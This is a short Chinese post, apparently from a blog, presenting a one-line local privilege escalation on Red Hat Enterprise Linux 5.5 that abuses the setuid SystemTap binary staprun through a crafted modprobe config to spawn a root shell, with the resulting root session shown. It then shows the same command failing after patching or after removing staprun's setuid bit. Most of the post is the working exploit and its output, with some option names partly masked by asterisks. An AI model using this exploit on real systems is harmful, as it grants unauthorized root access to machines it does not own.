linux一句话轻松提权

linux命令：‍
[b@fuckks~]$ printf "install uprobes /bin/sh" > exploit.conf; MODPROBE_OPTI*****="-C exploit.conf" staprun -u whatever

sh-3.2# uname -a

Linux xlsec 2.6.18-194.el5 #1 SMP Tue Mar 16 21:52:43 EDT 2010 i686 i686 i386 GNU/Linux

sh-3.2# cat /etc/redhat-release

Red Hat Enterprise Linux Server release 5.5 (Tikanga)

sh-3.2#

去打补丁吧，补上补丁之后的效果如下：

‍[b@fuckks~]$ printf "install uprobes /bin/sh" > exploit.conf; MODPROBE_OPTI*****="-C exploit.conf" staprun -u whatever

-bash: /usr/bin/staprun: Permission denied

[b@fuckks~]$

linux批量打补丁）没有补丁的，把‍/usr/bin/staprun这个东西的s位去掉，也可以应付的哦，如下：
[a@fuckks2~]$ printf "install uprobes /bin/sh" > exploit.conf; MODPROBE_OPTI*****="-C exploit.conf" staprun -u whatever

ERROR: The effective user ID of staprun must be set to the root user.

Check permissi***** on staprun and ensure it is a setuid root program.

[a@fuckks2~]$
